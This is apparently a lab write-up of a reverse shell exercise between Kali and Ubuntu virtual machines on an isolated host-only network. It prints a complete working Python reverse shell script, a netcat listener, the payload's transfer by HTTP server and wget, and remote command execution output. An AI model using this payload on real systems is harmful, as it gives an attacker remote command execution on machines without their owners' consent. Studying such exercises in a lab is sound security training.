

Ubuntu Payload Creation

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Environment: Controlled & Isolated Lab Setup

1. Network Setup (Host-Only Adapter)

Host-Only network was configured on both Kali Linux and Ubuntu to maintain an isolated lab environment. This allowed secure communication without internet access.

2. IP Configuration Verification

IP addresses were checked on both systems to ensure they were on the same network. Proper IP configuration was confirmed.

```
Session  Actions  Edit  View  Help
zsh: corrupt history file /home/chippashb/.zsh_history
(chippashb@CHIPPASHB)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
   inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
   link/ether 08:00:27:d8:7a:52 brd ff:ff:ff:ff:ff:ff
   inet 192.168.56.102/24 brd 192.168.56.255 scope global dynamic noprefixroute eth0
       valid_lft 519sec preferred_lft 519sec
   inet6 fe80::a00:27ff:fed8:7a52/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
(chippashb@CHIPPASHB)-[~]
$
```

```
ubuntu@ubuntu: ~
ubuntu@ubuntu:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
   inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
   link/ether 08:00:27:10:f4:70 brd ff:ff:ff:ff:ff:ff
   inet 192.168.56.103/24 brd 192.168.56.255 scope global dynamic noprefixroute enp0s3
       valid_lft 500sec preferred_lft 500sec
   inet6 fe80::a00:27ff:fe10:f470/64 scope link
       valid_lft forever preferred_lft forever
```

3. Connectivity Test Using Ping

Ping was performed from Ubuntu to Kali to verify connectivity. Successful replies confirmed network communication.

```
ubuntu@ubuntu:~$ ping 192.168.56.102
PING 192.168.56.102 (192.168.56.102) 56(84) bytes of data.
64 bytes from 192.168.56.102: icmp_seq=1 ttl=64 time=12.3 ms
64 bytes from 192.168.56.102: icmp_seq=2 ttl=64 time=1.19 ms
64 bytes from 192.168.56.102: icmp_seq=3 ttl=64 time=1.74 ms
64 bytes from 192.168.56.102: icmp_seq=4 ttl=64 time=1.52 ms
64 bytes from 192.168.56.102: icmp_seq=5 ttl=64 time=1.19 ms
64 bytes from 192.168.56.102: icmp_seq=6 ttl=64 time=1.02 ms
64 bytes from 192.168.56.102: icmp_seq=7 ttl=64 time=2.81 ms
64 bytes from 192.168.56.102: icmp_seq=8 ttl=64 time=1.01 ms
64 bytes from 192.168.56.102: icmp_seq=9 ttl=64 time=3.48 ms
64 bytes from 192.168.56.102: icmp_seq=10 ttl=64 time=1.75 ms
64 bytes from 192.168.56.102: icmp_seq=11 ttl=64 time=2.20 ms
64 bytes from 192.168.56.102: icmp_seq=12 ttl=64 time=1.20 ms
64 bytes from 192.168.56.102: icmp_seq=13 ttl=64 time=0.824 ms
64 bytes from 192.168.56.102: icmp_seq=14 ttl=64 time=1.17 ms
64 bytes from 192.168.56.102: icmp_seq=15 ttl=64 time=1.37 ms
64 bytes from 192.168.56.102: icmp_seq=16 ttl=64 time=1.69 ms
64 bytes from 192.168.56.102: icmp_seq=17 ttl=64 time=2.60 ms
64 bytes from 192.168.56.102: icmp_seq=18 ttl=64 time=2.15 ms
```

```
(chippashb@CHIPPASHB)-[~]
$ ping 192.168.56.103
PING 192.168.56.103 (192.168.56.103) 56(84) bytes of data.
64 bytes from 192.168.56.103: icmp_seq=1 ttl=64 time=15.4 ms
64 bytes from 192.168.56.103: icmp_seq=2 ttl=64 time=5.25 ms
64 bytes from 192.168.56.103: icmp_seq=3 ttl=64 time=24.1 ms
64 bytes from 192.168.56.103: icmp_seq=4 ttl=64 time=7.90 ms
64 bytes from 192.168.56.103: icmp_seq=5 ttl=64 time=9.38 ms
64 bytes from 192.168.56.103: icmp_seq=6 ttl=64 time=19.1 ms
64 bytes from 192.168.56.103: icmp_seq=7 ttl=64 time=8.57 ms
^C
— 192.168.56.103 ping statistics —
7 packets transmitted, 7 received, 0% packet loss, time 6025ms
rtt min/avg/max/mdev = 5.253/12.831/24.149/6.397 ms
```

4. Python Reverse Shell Script Creation on Kali

A Python reverse shell script was created on the Ubuntu system. The script was designed to connect back to Kali Linux.

```
(chippashb@CHIPPASHB)-[~]
$ nano mahrukh_payload.py
```

5. Listener Setup on Kali Linux (Netcat)

A Netcat listener was started on Kali using port 4444. This listener waited for the reverse shell connection.

```
(chippashb@CHIPPASHB)-[~]
$ nc -lvnp 4444
listening on [any] 4444 ...
```

```
chippashb@CHIPPASHB: ~
Session Actions Edit View Help
GNU nano 8.6 mahrukh_payload.py
import socket
import subprocess

HOST = "192.168.56.102" # IP of Kali
PORT = 4444 # port to connect to

# made a TCP connection to attacker
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

# loop to keep listening for commands
while True:
    command = s.recv(1024).decode() # get command from attacker
    if command.lower() == "exit": # if "exit", stop the shell
        break
    output = subprocess.getoutput(command) # run the command, get result
    with open("command_log.txt", "a") as log: # save command + output
        log.write(f"Executed: {command}\nOutput: {output}\n\n")
    s.send(output.encode()) # send result back to attacker

s.close() # close the connection
```

6. Transfer of Reverse Shell Script to Ubuntu

The Python script was transferred to Ubuntu by kali. Where further execution could take place. The transfer is done by hosting the file on Kali with a simple web server and then downloading it on Ubuntu.

```
(chippashb@CHIPPASHB)-[~]
$ pwd
/home/chippashb

(chippashb@CHIPPASHB)-[~]
$ cd /home/chippashb
```

```
(chippashb@CHIPPASHB)-[~]
$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
192.168.56.103 - - [17/Jan/2026 11:59:49] code 400, message Bad request version ("I\x07E\x90I\xKX6~\x90\x8aDT\x9d\x040Ev\x830$G;AAzQ\x00\x96\x13\x02
\x13\x03\x13\x01A,Å0\x00E\x00\x9fi0i IðA Å\xadAeA\x9fA)AaAWAS+A/\x00c\x00\x9eA*A-ÅçA\x9eA\\I\\A ÅVARA$A(\x00k\x00jAsAw\x00A\x00AA#A'\x00g\x00ÅArAv\
\x00%\x00%A")
192.168.56.103 - - [17/Jan/2026 11:59:49] "x16\x03\x01\x01\x01\x00\x01x\x03\x03'x11e0ß9\x1e\x0c\x90CP5\x88{Êxeä¶ \x8a0ë6s\x8a\x14\x1ciIË" /x8a'I\x07E\x90I\xKX6~\x
90\x8aDT\x9d\x040Ev\x830$G;AAzQ\x00\x96\x13\x02\x13\x03\x13\x01A,Å0\x00E\x00\x9fi0i IðA ÅAeA\x9fA)AaAWAS+A/\x00c\x00\x9eA*A-ÅçA\x9eA\\I ÅVARA$A(\x00k\x00jAsAw\x00A\
x00AA#A'\x00g\x00ÅArAv\x00%\x00%A" 400 -
192.168.56.103 - - [17/Jan/2026 12:01:44] "GET /mahrukh_payload.py HTTP/1.1" 200 -
```

```
vboxuser@ubuntu:~$ wget http://192.168.56.102:8080/mahrukh_payload.py
--2026-01-17 17:01:42-- http://192.168.56.102:8080/mahrukh_payload.py
Connecting to 192.168.56.102:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 747 [text/x-python]
Saving to: 'mahrukh_payload.py.1'

mahrukh_payload.py.1      100%[=====]          747  --.-KB/s   in 0s

2026-01-17 17:01:42 (38.4 MB/s) - 'mahrukh_payload.py.1' saved [747/747]
```

The file was successfully transferred to ubuntu and presented

```
vboxuser@ubuntu:~$ ls
command_log.txt  Downloads          mahrukh_reverseshell.py      Music      snap
Desktop          mahrukh_payload.py mahrukh_reverseshell.py.save Pictures    Templ
Documents        mahrukh_payload.py.1 mahrukh_reverseshell.py.save Public      Video
vboxuser@ubuntu:~$ nano mahrukh_payload.py.1
```

7. Listening on Kali and executing script

After the Python script was executed on Ubuntu. The nat cat started listening and showed connection with ubuntu.

```
(chippashb@CHIPPASHB)-[~]
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.103] 33242
```

After natcat was set the code was compiled and executed in ubuntu

```
vboxuser@ubuntu:~$ python3 mahrukh_payload.py.1
```

8. Command Execution Through Reverse Shell Session

Commands were executed from Kali on the Ubuntu system. Output was received, confirming remote access.

```
(chippashb@CHIPPASHB)-[~]
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.103] 33242
whoami
vboxuser
ls
command_log.txt
Desktop
Documents
Downloads
mahrukh_payload.py
mahrukh_reverseshell.py
mahrukh_reverseshell.py.save
mahrukh_reversshell.py.save
Music
Pictures
Public
snap
Templates
Videos
```

9. Wireshark Traffic Analysis (Port 4444)

Wireshark was running in the background during the session. TCP traffic on port 4444 was successfully captured.

```
(chippashb@CHIPPASHB)-[~]
$ sudo wireshark
[sudo] password for chippashb:
** (wireshark:48444) 07:01:14.762507 [Capture MESSAGE] -- Capture Start ...
** (wireshark:48444) 07:01:14.874445 [Capture MESSAGE] -- Capture started
** (wireshark:48444) 07:01:14.874505 [Capture MESSAGE] -- File: "/tmp/wireshark_eth0I7E4I3.pcapng"
```

